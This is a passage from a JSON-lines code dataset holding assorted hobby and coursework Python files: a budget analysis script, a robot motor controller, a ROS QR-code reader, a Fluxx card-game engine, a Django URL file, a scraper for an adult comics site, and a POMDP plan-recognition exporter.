(${str(greatest_decrease)})\")\n\n\n#In addition, your final script should both print the analysis to the terminal and export a text file with the results.\noutput_file = os.path.join('financial_analysis.txt')\nwith open(output_file, \"w\") as file:\n file.write(\"Financial Analysis\")\n file.write(\"\\n\")\n file.write(\"----------------------------\")\n file.write(\"\\n\")\n file.write(f\"Total Months: {len(months)}\")\n file.write(\"\\n\")\n file.write(f\"Total: ${sum(profit_losses)}\")\n file.write(\"\\n\")\n file.write(f\"Average Change: {(sum(average_change) / len(average_change)):.2f}\")\n file.write(\"\\n\")\n file.write(f\"Greatest Increase in Profits: {months[max_month]} (${str(greatest_increase)})\")\n file.write(\"\\n\")\n file.write(f\"Greatest Decrease in Profits: {months[min_month]} (${str(greatest_decrease)})\")\n","sub_path":"py_Bank_main.py","file_name":"py_Bank_main.py","file_ext":"py","file_size_in_byte":2218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"214797258","text":"from exercise_12 import Exercise12\nimport unittest\n\n\nclass Exercise12Test(unittest.TestCase):\n def test_returns_none_if_list_size_lesser_than_max_index(self):\n exercise_12 = Exercise12()\n result = exercise_12.remove_elements([1, 2, 3])\n\n self.assertIsNone(result)\n\n\n def test_remove_0_4th_and_5th_indexes_returns_correct_list(self):\n exercise_12 = Exercise12()\n result = exercise_12.remove_elements([1, 2, 3, 4, 5, 6])\n expected = [2, 3, 4]\n\n self.assertEqual(result, expected)\n","sub_path":"Lists and Dicts/tests/test_exercise_12.py","file_name":"test_exercise_12.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"240447508","text":"#!/usr/bin/python3\n\n\"\"\" Controls the power to the motors using PID.\n\"\"\"\n\nimport RPi.GPIO as GPIO\nimport enum\nimport time\nfrom motor import Motor\nfrom dist_sensor import DistSensor\nfrom encoder import Encoder\n\n# Enum for movement state machine\nclass MoveState(enum.Enum):\n\tSTRAIGHT = 0\n\tTURN_LEFT = 1\n\tTURN_RIGHT = 2\n\nclass MotorController:\n\t\n\tdef __init__(self):\n\t\tGPIO.setmode(GPIO.BOARD)\n\t\t# Init devices\n\t\t# TODO: Replace these numbers with the correct pins\n\t\tself.motor_l = Motor(3, 4, 5)\n\t\tself.motor_r = Motor(3, 4, 5)\n\t\tself.encoder_l = Encoder(0, 0)\n\t\tself.encoder_r = Encoder(0, 0)\n\t\tself.sensors = [DistSensor(0), DistSensor(0), DistSensor(0), DistSensor(0), DistSensor(0)]\n\t\t# Misc state\n\t\tself.move_state = MoveState.STRAIGHT\n\t\tself.spd = 0\n\t\tself.running = True\n\t\t# Constants, probably gonna rewrite how the bot turns\n\t\tself.outer_ticks = 10\n\t\tself.inner_ticks = 0\n\t\tself.max_ticks = 50\n\t\t\n\t# Starts the motor controller\n\tdef start(self):\n\t\tself.thread = threading.Thread(target = self.run, daemon = True)\n\t\tself.thread.start()\n\t\t\n\t# Runs the motor controller continously\n\tdef run(self):\n\t\tlast_time = 0\n\t\tlast_left_spd = 0\n\t\tlast_right_spd = 0\n\t\twhile self.running:\n\t\t\t# Movement state machine\n\t\t\t# Why doesn't python have switch statements\n\t\t\tif self.move_state == MoveState.STRAIGHT:\n\t\t\t\t# Calculate delta time\n\t\t\t\tcurr_time = time.time()\n\t\t\t\tdelta_time = curr_time - last_time\n\t\t\t\tlast_time = curr_time\n\t\t\t\t# Run motors with PID\n\t\t\t\tleft_spd = self.encoder_l.read_ticks() / self.max_ticks / delta_time\n\t\t\t\tleft_pwr = 1 * (self.spd - left_spd) - 1 * (left_spd - last_left_spd) / delta_time + 1 * self.sensors[0].detected()\n\t\t\t\tlast_left_spd = left_spd\n\t\t\t\tleft_pwr = min(max(left_pwr, -1), 1)\n\t\t\t\tright_spd = self.encoder_r.read_ticks() / self.max_ticks / delta_time\n\t\t\t\tright_pwr = 1 * (self.spd - right_spd) - 1 * (right_spd - last_right_spd) / delta_time + 1 * self.sensors[4].detected()\n\t\t\t\tlast_right_spd = right_spd\n\t\t\t\tright_pwr = min(max(right_pwr, -1), 1)\n\t\t\t\tself.motor_l.set_pwr(left_pwr)\n\t\t\t\tself.motor_r.set_pwr(right_pwr)\n\t\t\telif self.move_state == MoveState.TURN_LEFT:\n\t\t\t\t# Turn the bot\n\t\t\t\tenc_out = 0\n\t\t\t\tenc_in = 0\n\t\t\t\tself.motor_l.set_pwr(-0.1)\n\t\t\t\tself.motor_l.set_pwr(0.1)\n\t\t\t\twhile enc_out > self.outer_ticks and enc_in < self.inner_ticks:\n\t\t\t\t\tenc_out += self.encoder_l.read_ticks()\n\t\t\t\t\tenc_in += self.encoder_r.read_ticks()\n\t\t\t\tself.motor_l.set_pwr(0)\n\t\t\t\tself.motor_l.set_pwr(0)\n\t\t\t\t# Set state back to straight\n\t\t\t\tself.move_state = MoveState.STRAIGHT\n\t\t\telif self.move_state == MoveState.TURN_RIGHT:\n\t\t\t\t# Turn the bot\n\t\t\t\tenc_out = 0\n\t\t\t\tenc_in = 0\n\t\t\t\tself.motor_l.set_pwr(0.1)\n\t\t\t\tself.motor_l.set_pwr(-0.1)\n\t\t\t\twhile enc_out > self.outer_ticks and enc_in < self.inner_ticks:\n\t\t\t\t\tenc_out += self.encoder_l.read_ticks()\n\t\t\t\t\tenc_in += self.encoder_r.read_ticks()\n\t\t\t\tself.motor_l.set_pwr(0)\n\t\t\t\tself.motor_l.set_pwr(0)\n\t\t\t\t# Set state back to straight\n\t\t\t\tself.move_state = MoveState.STRAIGHT\n\n\t# Makes the robot turn left 90 degrees\n\t# If the robot is in the middle of a turn, this does nothing\n\tdef turn_left(self):\n\t\t# Turn check\n\t\tif self.move_state is not MoveState.STRAIGHT:\n\t\t\treturn\n\t\t# Temporarily stop thread\n\t\tself.running = False\n\t\tself.thread.join()\n\t\t# Set turning state\n\t\tself.move_state = MoveState.TURN_LEFT\n\t\t# Restart thread\n\t\tself.running = True\n\t\tself.thread.start()\n\t\t\n\t# Makes the robot turn right 90 degrees\n\t# If the robot is in the middle of a turn, this does nothing\n\tdef turn_right(self):\n\t\t# Turn check\n\t\tif self.move_state is not MoveState.STRAIGHT:\n\t\t\treturn\n\t\t# Temporarily stop thread\n\t\tself.running = False\n\t\tself.thread.join()\n\t\t# Set turning state\n\t\tself.move_state = MoveState.TURN_RIGHT\n\t\t# Restart thread\n\t\tself.running = True\n\t\tself.thread.start()\n\t\t\n\t# Sets the robot's linear speed\n\tdef set_spd(self, spd):\n\t\tself.running = False\n\t\tself.thread.join()\n\t\tself.spd = spd\n\t\tself.running = True\n\t\tself.thread.start()\n\t\n\t# Stops the motor controller\n\tdef stop(self):\n\t\t# Stop thread\n\t\tself.running = False\n\t\tself.thread.join()\n\t\t# Clean up resources\n\t\tself.motor_l.stop()\n\t\tself.motor_r.stop()\n\t\tGPIO.cleanup()","sub_path":"2021-2022/fasterPacman/gameEngine/botCode/hardware/motor_controller.py","file_name":"motor_controller.py","file_ext":"py","file_size_in_byte":4094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"96694743","text":"from bs4 import BeautifulSoup\nimport requests\nimport json\nimport re\n\nclass FrontPage:\n\t@staticmethod\n\tdef get():\n\t\turl_home = 'https://nhentai.net'\n\t\tresponse = requests.get(url_home, timeout=5)\n\t\tcontent = BeautifulSoup(response.content, \"html.parser\")\n\n\t\tbookArr = []\n\t\tfor book in content.findAll('div', attrs={\"class\": \"gallery\"}):\n\t\t\ttitle = book.find('div', attrs={\"class\": \"caption\"}).text\n\t\t\turl_path = book.find('a', attrs={\"class\": \"cover\"})['href']\n\t\t\ttry:\n\t\t\t\timage_url = '{}cover.jpg'.format(book.find('img')['data-src'][:-9])\n\t\t\texcept KeyError:\n\t\t\t\t# Some books do not have a 'data-src' URL and throw a KeyError\n\t\t\t\t# This grabs the thumbnail image in a different attribute\n\t\t\t\timage_url = 'http:{}cover.jpg'.format(book.find('img')['src'][:-9])\n\t\t\tbookObject = {\n\t\t\t\t\"title\": title,\n\t\t\t\t\"url\": f'{url_home}{url_path}',\n\t\t\t\t\"image_url\": image_url\n\t\t\t}\n\t\t\tbookArr.append(bookObject)\n\t\treturn bookArr\n\nclass SearchResults:\n\t@staticmethod\n\tdef get(query, page=1, popular=False):\n\t\tquery = query.split()\n\t\tquery = '+'.join(query)\n\t\turl_home = 'https://nhentai.net'\n\n\t\tif (popular):\n\t\t\turl = f'https://nhentai.net/search/?q={query}&page={page}&sort=popular'\n\t\telse:\n\t\t\turl = f'https://nhentai.net/search/?q={query}&page={page}'\n\t\tresponse = requests.get(url, timeout=5)\n\t\tcontent = BeautifulSoup(response.content, \"html.parser\")\n\n\t\tbookArr = []\n\t\tfor book in content.findAll('div', attrs={\"class\": \"gallery\"}):\n\t\t\ttitle = book.find('div', attrs={\"class\": \"caption\"}).text\n\t\t\turl_path = book.find('a', attrs={\"class\": \"cover\"})['href']\n\t\t\ttry:\n\t\t\t\timage_url = '{}cover.jpg'.format(book.find('img')['data-src'][:-9])\n\t\t\texcept KeyError:\n\t\t\t\t# Some books do not have a 'data-src' URL and throw a KeyError\n\t\t\t\t# This grabs the thumbnail image in a different attribute\n\t\t\t\timage_url = 'http:{}cover.jpg'.format(book.find('img')['src'][:-9])\n\t\t\tbookObject = {\n\t\t\t\t\"title\": title,\n\t\t\t\t\"url\": f'{url_home}{url_path}',\n\t\t\t\t\"image_url\": image_url\n\t\t\t}\n\t\t\tbookArr.append(bookObject)\n\t\treturn bookArr\n\nclass BookResults:\n\t@staticmethod\n\tdef _parse_input_(input):\n\t\turl_exp = re.compile(r'(http(s)?:\\/\\/.)?(www\\.)?[nhentai]{2,256}\\.[net]{2,6}\\b([-a-zA-Z0-9@:%_\\+.~#?&//=]*)')\n\t\tid_exp = re.compile(r'\\d{5,9}')\n\n\t\tif (url_exp.match(input)):\n\t\t\treturn input\n\t\telif (id_exp.match(input)):\n\t\t\treturn f'https://nhentai.net/g/{input}'\n\t\telse:\n\t\t\traise SyntaxError()\n\n\t@staticmethod\n\tdef _parse_image_(image):\n\t\timage = image[:8] + 'i' + image[9:]\n\t\timage = image[:-5]\n\t\timage = image + '.jpg'\n\t\treturn image\n\t\t\n\n\t@staticmethod\n\tdef get(id):\n\t\ttry:\n\t\t\turl = BookResults._parse_input_(id)\n\t\t\tresponse = requests.get(url, timeout=5)\n\t\t\tcontent = BeautifulSoup(response.content, \"html.parser\")\n\n\t\t\tbookArr = []\n\t\t\tfor book in content.findAll('div', attrs={\"class\": \"thumb-container\"}):\n\t\t\t\ttry:\n\t\t\t\t\timage_thumb = book.find('img')['data-src']\n\t\t\t\t\timage_full = BookResults._parse_image_(image_thumb)\n\t\t\t\texcept KeyError:\n\t\t\t\t\timage_thumb = book.find('img')['src']\n\t\t\t\t\timage_full = BookResults._parse_image_(image_thumb)\n\t\t\t\t\n\t\t\t\tbookObject = {\n\t\t\t\t\t\"thumbnail\": image_thumb,\n\t\t\t\t\t\"full_res\": image_full\n\t\t\t\t}\n\t\t\t\tbookArr.append(bookObject)\n\t\t\treturn bookArr\n\t\texcept SyntaxError:\n\t\t\treturn print('Usage: get(123456) OR get(http://nhentai.net/g/123456)')\n\n\t@staticmethod\n\tdef getInfoFromBook(id):\n\t\ttry:\n\t\t\turl = BookResults._parse_input_(id)\n\t\t\tresponse = requests.get(url, timeout=5)\n\t\t\tcontent = BeautifulSoup(response.content, \"html.parser\")\n\n\t\t\tcontArr = []\n\t\t\ttitleObject = {\n\t\t\t\t\"title\": content.find('meta', attrs={\"itemprop\": \"name\"})['content']\n\t\t\t}\n\n\t\t\tcontArr.append(titleObject)\n\n\t\t\ttry:\n\t\t\t\tcoverEl = content.find('div', attrs={\"id\": \"cover\"})\n\t\t\t\tcover_image = coverEl.find('img')['data-src']\n\t\t\texcept KeyError:\n\t\t\t\tcover_image = coverEl.find('img')['src']\n\n\t\t\tcontArr.append({\"cover\": cover_image})\n\n\t\t\ttag_string = content.find('meta', attrs={\"name\": \"twitter:description\"})['content']\n\t\t\ttag_string = tag_string.replace(', ', ' ')\n\t\t\ttag_list = tag_string.split()\n\n\t\t\ttagObject = {\n\t\t\t\t\"tags\": tag_list\n\t\t\t}\n\t\t\t\n\t\t\tcontArr.append(tagObject)\n\n\t\t\treturn contArr\n\n\t\texcept SyntaxError:\n\t\t\treturn print('Usage: get(123456) OR get(http://nhentai.net/g/123456)')","sub_path":"nhscrape.py","file_name":"nhscrape.py","file_ext":"py","file_size_in_byte":4162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"286862305","text":"from stage import *\nfrom fluxx_cards import *\nimport random\n\nclass FluxxTurn(Turn):\n '''A player's turn recording number of cards drawn and played that turn'''\n def __init__(self, player):\n Turn.__init__(self,player)\n self.drawn = 0\n self.played = 0\n def __str__(self):\n return \"{0} D{1} P{2}\".format(Turn.__str__(self),\n self.drawn, self.played)\n\n# Watch for draw3/play2 - don't count draws and plays against limit\n\nclass Game:\n '''The Fluxx card game\n\n Produced by Looney Labs - http://looneylabs.com\n Buy the real thing!'''\n\n card = {\"Basic Rules\": BasicRules(), \"Draw 2\":DrawN(2), \"Draw 3\":DrawN(3),\n \"Play 2\":PlayN(2), \"Play 3\":PlayN(3),\n \"FPR\":FirstPlayRandom(), \"D3P2\":DrawNPlayM(3,2),\n \"D2P2\":DrawNPlayM(2,2)}\n keeper = ( Keeper('The Shovel','pow'), Keeper('Lumber','pow'),\n Keeper('The Car', 'pow'), Keeper('Can of Gasoline', 'pow'),\n Keeper('Donuts'), Keeper('The Chainsaw', 'pow'),\n Keeper('Coffee'), Keeper('Baseball Bat', 'pow'),\n Keeper('Sandwiches'), Keeper('Brains'),\n Keeper('A Friend', 'friend')\n )\n\n def info():\n return {'name' : 'Fluxx', 'players' : '2-6'}\n\n def __init__(self, engine, numPlayers):\n engine.registerPhases(\"setup action draw play done\".split())\n engine.setPhase(\"setup\")\n engine.registerZone('rules', 0)\n engine.registerDeck(Game.makeDeck(), 0)\n engine.registerDiscard(Deck(), 0)\n for p in range(1, numPlayers+1):\n engine.registerZone('keepers', p)\n engine.registerZone('creepers', p)\n engine.registerZone('actions', p)\n self.numPlayers = numPlayers\n engine.ended = False\n\n def setup(self, engine):\n engine.play(Game.card['Basic Rules'], 'rules')\n # deal 3 cards\n engine.setTurn(FluxxTurn(random.randint(1, self.numPlayers)))\n engine.setPhase(\"draw\")\n\n def draw(self, engine):\n '''Handle the draw phase'''\n if engine.turn.drawn < engine.phase.limit:\n def drawCard(e=engine):\n if e.browseZone('deck').size() == 0:\n e.discardToDraw()\n e.give(e.turn.player,e.draw(0))\n e.turn.drawn += 1\n engine.registerOption(\"draw\", drawCard)\n else:\n engine.setPhase(\"play\")\n\n def play(self, engine):\n '''Handle the play phase'''\n if engine.turn.played < engine.phase.limit and \\\n engine.hands[engine.turn.player].size() > 0:\n engine.registerOption(\"wait\", lambda: 1)\n for card in engine.hands[engine.turn.player]:\n def playCard(e=engine,c=card):\n c.playself(e, e.turn.player)\n e.turn.played += 1\n engine.registerOption(\"play {0}\".format(card.name),\n playCard)\n else:\n engine.setPhase(\"done\")\n\n def action(self, engine):\n '''Actions mostly handle themselves'''\n pass\n\n def done(self, engine):\n '''Handle the end of the turn'''\n engine.setTurn(FluxxTurn((engine.turn.player%self.numPlayers)+1))\n engine.setPhase(\"draw\")\n\n def makeDeck():\n '''Return a Deck() containing the cards for this game'''\n deck = Deck([Game.card['FPR'], Game.card['D3P2'], Game.card['Draw 2'],\n Game.card['Draw 3'], Game.card['Play 2'], Game.card['Play 3'],\n Game.card['D2P2']])\n deck.shuffleIn(Game.keeper)\n deck.shuffle()\n return deck\n","sub_path":"gcge/games/fluxx.py","file_name":"fluxx.py","file_ext":"py","file_size_in_byte":3645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"630061140","text":"from django.urls import path\r\nfrom profiles import views\r\n\r\nurlpatterns = [\r\n path('', views.new_post, name='author-profile'),\r\n path('posts/', views.current_visible_posts, name='visible-posts'),\r\n path('/posts/', views.author_posts, name='author-posts'),\r\n \r\n # path('editprofile/', views.edit_profile, name='editprofile'),\r\n]\r\n","sub_path":"socialdistribution/profiles/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"164344159","text":"#!/usr/bin/env python\n\n\"\"\"\n\tThis node uses 2D camera facing the shelf to extract the QR code data,\n\tand store it in parameter server so that other nodes can use that info.\n\"\"\"\n\nimport rospy\nfrom sensor_msgs.msg import Image\nfrom cv_bridge import CvBridge, CvBridgeError\nfrom pyzbar.pyzbar import decode\nimport cv2\n\n\nclass Camera1:\n\n\tdef __init__(self):\n\t\tself.bridge = CvBridge()\n\t\tself.qr_threshold = 10\n\t\tself.packages_info = {}\n\t\trospy.sleep(0.1)\n\t\tself._start_time = rospy.get_time()\n\t\tself._current_time = rospy.get_time()\n\t\tself.image_sub = rospy.Subscriber(\"/eyrc/vb/camera_1/image_raw\", Image, self.callback)\n\n\tdef get_qr_data(self, arg_image):\n\t\t\"\"\"\n\t\t\tDecodes the qr code data in preprossed image and updates `packages_info` dict\n\t\t\twith corresponding package names and qr code decoded data\n\t\t\"\"\"\n\t\tqr_codes = decode(arg_image)\n\n\t\tif len(qr_codes) == 12:\n\t\t\tfor qr in qr_codes:\n\t\t\t\tpackage_name = self.get_package_name(qr.rect)\n\t\t\t\tself.packages_info[package_name] = qr.data\n\t\t\treturn 0\n\t\treturn -1\n\n\n\tdef callback(self, data):\n\t\t\"\"\"\n\t\t\tThis is callback function for camera1 it gets image data through argument`data`\n\t\t\tit thersholds the image with lower bound `(0, 0, 0)` and upper bound set by\n\t\t\t`self.qr_threshold` the it inverts image and feeds it to qr_decode func to\n\t\t\tdecode the qr codes\n\t\t\"\"\"\n\t\tself._current_time = rospy.get_time()\n\t\ttry:\n\t\t\tcv_image = self.bridge.imgmsg_to_cv2(data, \"bgr8\")\n\t\texcept CvBridgeError as e:\n\t\t\trospy.logerr(e)\n\n\t\troi = cv_image[290:920, 100:620] # crop to only package area\n\t\tlower_bound = (0, 0, 0)\n\t\tif (self._current_time - self._start_time) > 15: # if 15 sec is passed after launching the node then\n\t\t\tself.qr_threshold += 1\t\t\t\t\t # change the threshold value till all packages are detected\n\t\t\tself.qr_threshold %= 256\n\t\t\trospy.logwarn(\"Default Config Not Working Trying New Configs: {}\".format(self.qr_threshold))\n\t\tupper_bound = (self.qr_threshold, self.qr_threshold, self.qr_threshold)\n\t\tthresholded = cv2.inRange(roi, lower_bound, upper_bound)\n\t\tinv = 255-thresholded\n\t\tif not self.get_qr_data(inv):\n\t\t\tself.image_sub.unregister()\n\n\tdef get_package_name(self, coordinates):\n\t\t\"\"\"\n\t\t\tReturs the name of the packages based on the coordinates\n\t\t\tof the top left corner of the decoded qr code given\n\t\t\tthrough `coordinates`\n\t\t\"\"\"\n\t\tpackage_index = ''\n\t\tcol, row = coordinates[0], coordinates[1]\n\n\t\tif col < 174:\n\t\t\tpackage_index = '0'\n\t\telif col < 347:\n\t\t\tpackage_index = '1'\n\t\telse:\n\t\t\tpackage_index = '2'\n\n\t\tif row < 158:\n\t\t\tpackage_index += '0'\n\t\telif row < 315:\n\t\t\tpackage_index += '1'\n\t\telif row < 473:\n\t\t\tpackage_index += '2'\n\t\telse:\n\t\t\tpackage_index += '3'\n\n\t\tpackage_index = package_index[::-1]\n\n\t\treturn 'packagen'+package_index\n\ndef main():\n\n\trospy.init_node('node_get_package_info', anonymous=True)\n\ttry:\n\t\tcam = Camera1()\n\t\twhile not cam.packages_info:\n\t\t\trospy.sleep(0.1)\n\t\trospy.set_param('/packages_color_info', cam.packages_info)\n\texcept Exception as e:\n\t\tprint(e)\n\trospy.logwarn(cam.packages_info)\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"pkg_task4/scripts/node_get_package_info.py","file_name":"node_get_package_info.py","file_ext":"py","file_size_in_byte":3008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"649179393","text":"#!/usr/bin/python\n#coding=utf8\n\n########################################################################\n### ###\n### Created by Martin Genet, 2012-2016 ###\n### ###\n### University of California at San Francisco (UCSF), USA ###\n### Swiss Federal Institute of Technology (ETH), Zurich, Switzerland ###\n### École Polytechnique, Palaiseau, France ###\n### ###\n########################################################################\n\nimport myVTKPythonLibrary as myVTK\n\n########################################################################\n\ndef initImage(\n image=None,\n image_filename=None,\n verbose=0):\n\n assert ((image is not None) or (image_filename is not None)), \"Need an image or an image_filename. Aborting.\"\n\n if image is None:\n return myVTK.readImage(\n filename=image_filename,\n verbose=verbose)\n else:\n return image\n","sub_path":"initImage.py","file_name":"initImage.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"650594856","text":"from __future__ import print_function\n\nimport pyDOE\nimport os\nimport math\nimport numpy as np\n\n# ========== HW03 SOLUTION [Python2] ========== #\n\n\n# ========== 1 ========== #\n# see 2nd import statement at the top of the script file.\n\n# ========== 2 ========== #\n# see 3rd import statement at the top of the script file.\n\n# WINDOWS:\nprint(os.getcwd())\n# os.system('ping -n 2 ufl.edu')\n\n# LINUX/MACOS:\n# os.system('ping -c 2 ufl.edu')\n\n# ========== 3 ========== #\n# see 4th and 5th import statements at the top of the script file.\nprint(math.pi == np.pi)\n\n# the two are equivalent.\n\n# ========== 4 ========== #\nclass Sphere:\n def __init__(self, radius, mass):\n self.radius = radius\n self.mass = mass\n self.volume = 4.0 / 3 * math.pi * self.radius ** 3\n self.surface_area = 4.0 * math.pi * self.radius ** 2\n self.density = self.mass / self.volume\n\nred = Sphere(1.7, 0.25)\nprint(dir(red))\nprint('volume: {0.volume}\\nsurface area: {0.surface_area}\\n'\n 'density: {0.density}'.format(red))\n\n# ========== 5 ========== #\nx = [[0, 1, 2, 3], [4, 5, 6, 7],\n [8, 9, 10, 11], [12, 13, 14, 15]]\n\n# option 1\nfor l in x:\n print(l[0], l[1], l[2], l[3], sep=' & ')\n\n# option 2 (list unpacking):\nfor l in x:\n print(*l, sep=' & ')\n\n# option 3 (tuple unpacking):\nfor a, b, c, d in x:\n print(a, b, c, d, sep=' & ')\n","sub_path":"homework_solutions/HW03/hw03_solution_py2.py","file_name":"hw03_solution_py2.py","file_ext":"py","file_size_in_byte":1347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"516816437","text":"import numpy\nimport copy\n\nclass Goal:\n\tdef __init__(self, name, listAction = [] , matrixAdj = numpy.zeros((0, 0)), initialState = []):\n\t\tself.name = name\n\t\tself.listAction = listAction\n\t\tself.matrixAdj = matrixAdj\n\n\tdef addPlan(self,listAction):\n\t\t# copy the initial list and add Start and Finish\n\t\tif '' in listAction:\n\t\t\tlistAction.remove('')\n\t\ttemplistAction = [\"Start\"]\n\t\ttemplistAction.extend(listAction)\n\t\ttemplistAction.append(\"Finish\")\n\n\t\tlistAllAction = copy.deepcopy(self.listAction)\n\t\tlistAllAction.extend(templistAction)\n\t\tlistAllAction = list(set(listAllAction))\n\n\t\t\n\t\tsize = len(listAllAction)\n\t\tentryMatrixAdj = numpy.zeros((size, size))\n\t\tnewMatrixAdj = numpy.zeros((size, size))\n\n\t\tfor laaLine in range(0,len(listAllAction)):\n\t\t\tfor laLine in range(0,len(self.listAction)):\n\t\t\t\tif listAllAction[laaLine] == self.listAction[laLine]:\t\t\t\t\n\t\t\t\t\tfor laaCol in range(0,len(listAllAction)):\n\t\t\t\t\t\tfor laCol in range(0,len(self.listAction)):\n\t\t\t\t\t\t\tif listAllAction[laaCol] == self.listAction[laCol]:\n\t\t\t\t\t\t\t\tnewMatrixAdj[laaLine,laaCol] = self.matrixAdj[laLine,laCol]\n\t\t\t\t\t\t\t\tif listAllAction[laaLine] == 'Finish' and listAllAction[laaCol] == 'Finish':\n\t\t\t\t\t\t\t\t\tnewMatrixAdj[laaLine,laaCol] = 1\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\tbreak\n\n\n\t\tfor la in range(0,len(templistAction)-1):\n\t\t\tfor laaLine in range(0,len(listAllAction)):\n\t\t\t\tif templistAction[la] == listAllAction[laaLine]:\n\t\t\t\t\tfor laaCol in range(0, len(listAllAction)):\n\t\t\t\t\t\tif templistAction[la + 1] == listAllAction[laaCol]:\n\t\t\t\t\t\t\tnewMatrixAdj[laaLine,laaCol] =\tnewMatrixAdj[laaLine,laaCol] + 1\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\tbreak\n\n\n\t\tself.matrixAdj = newMatrixAdj\n\t\tself.listAction = listAllAction\n\t\treturn 0\n\n\tdef toString(self):\n\t\tout = []\n\t\tout = \"****\" + self.name + \"**** \\n\"\n\t\tfor action in self.listAction:\n\t\t\tout = out + action + ' '\n\t\tout = out + \"\\n\"\n\t\t#out = out + self.matrixAdj\n\t\treturn out \n\n\tdef normalize(self):\n\t\tsize = len(self.listAction)\n\t\tfor line in range(0, size):\n\t\t\t\tself.matrixAdj[line] = self.matrixAdj[line] / numpy.sum(self.matrixAdj[line])\n\n\nclass Observation:\n\tdef __init__(self, listAction, matrixConf):\n\t\tself.listAction = listAction\n\t\tself.matrixConf = matrixConf\n\nclass Domain:\n\tdef __init__(self, listGoal, observation = [], initialState = [], reward = []):\n\t\tself.listGoal = listGoal\n\t\tfor goal in listGoal:\n\t\t\tgoal.normalize()\n\t\tif not observation:\n\t\t\tlistAllAction = []\n\t\t\tfor i in listGoal:\n\t\t\t\tfor j in i.listAction:\n\t\t\t\t\tlistAllAction.append(j)\n\t\t\tlistAllAction = list(set(listAllAction))\n\t\t\tself.observation = Observation(listAllAction, numpy.identity(len(listAllAction)))\n\t\telse:\n\t\t\tself.observation = observation\n\t\tif not initialState:\n\t\t\tself.initialState = \"Start\"\n\t\telse : \n\t\t\tself.initialState = initialState\n\n\tdef toPOMDPxString(self):\n\t\tout = \"\"\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \\n\"\n\t\tout = out + \" 0.95 \\n\"\n\n\t\tout = out + self.toPOMDPxVariables()\n\t\tout = out + self.toPOMDPxInitialState()\n\t\tout = out + self.toPOMDPxTransition()\n\t\tout = out + self.toPOMDPxObservation()\n\t\tout = out + self.toPOMDPxReward()\n\n\t\tout = out + \"\"\n\n\t\treturn out\n\n\tdef toPOMDPxVariables(self):\n\t\tout = \"\"\n\t\tout = out + \" \\n\"\n\t\tout = out + self.toPOMDPxVariableState()\n\t\tout = out + self.toPOMDPxVariableGoal()\n\t\tout = out + self.toPOMDPxVariableEsGoal()\n\t\tout = out + self.toPOMDPxVariableAction()\n\t\tout = out + self.toPOMDPxVariableObservation()\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \\n\"\n\t\treturn out\n\n\tdef toPOMDPxVariableState(self):\n\t\tout = \"\"\n\t\t# State variables of the observee\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \"\n\n\t\tlistAllAction = []\n\t\tfor i in self.listGoal:\n\t\t\tfor j in i.listAction:\n\t\t\t\tlistAllAction.append(j)\n\t\tlistAllAction = list(set(listAllAction))\n\n\t\tfor i in listAllAction:\n\t\t\tout = out + i + ' '\n\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \\n\"\n\t\treturn out\n\n\tdef toPOMDPxVariableGoal(self):\n\t\tout = \"\"\n\t\t# Goal of the obsevee\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \"\n\t\tfor i in self.listGoal:\n\t\t\tout = out + i.name + ' '\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \\n\"\n\t\treturn out \n\n\tdef toPOMDPxVariableEsGoal(self):\n\t\tout = \"\"\n\t\t# Estimated goal of the obsevee\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \"\n\t\tout = out + \"Unknown \"\n\t\tfor i in self.listGoal:\n\t\t\tout = out + i.name + ' '\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \\n\"\n\t\treturn out \n\n\tdef toPOMDPxVariableAction(self):\n\t\tout = \"\"\n\t\t# list of actions\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \"\n\t\tout = out + \"Obs \"\n\t\tout = out + \"None \"\n\t\tfor i in self.listGoal:\n\t\t\tout = out + \"cg_\" + i.name + ' '\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \\n\"\n\t\treturn out\n\n\tdef toPOMDPxVariableObservation(self):\n\t\tout = \"\"\n\t\t# list of observation\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \"\n\t\tfor i in self.observation.listAction:\n\t\t\tout = out + i + ' '\n\t\tout = out + \"None \"\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \\n\" \n\t\treturn out\n\n\tdef toPOMDPxInitialState(self):\n\t\tout = \"\"\n\t\tout = out + \" \\n\"\n\t\tout = out + self.toPOMDPxTBLHead(\"startAction\", [\"null\"])\n\n\t\tlistAllAction = []\n\t\tfor i in self.listGoal:\n\t\t\tfor j in i.listAction:\n\t\t\t\tif j == '':\n\t\t\t\t\tprint('ERROR')\n\t\t\t\tlistAllAction.append(j)\n\t\tlistAllAction = list(set(listAllAction))\n\n\n\t\tif self.initialState == \"Start\":\n\t\t\ttable = []\n\t\t\tfor i in listAllAction:\n\t\t\t\tif i == \"Start\":\n\t\t\t\t\ttable.append(\"1.0\")\n\t\t\t\telse:\n\t\t\t\t\ttable.append(\"0.0\")\n\t\t\tout = out + self.toPOMDPxTBLEntry([], table)\n\n\t\t\t\n\t\telif 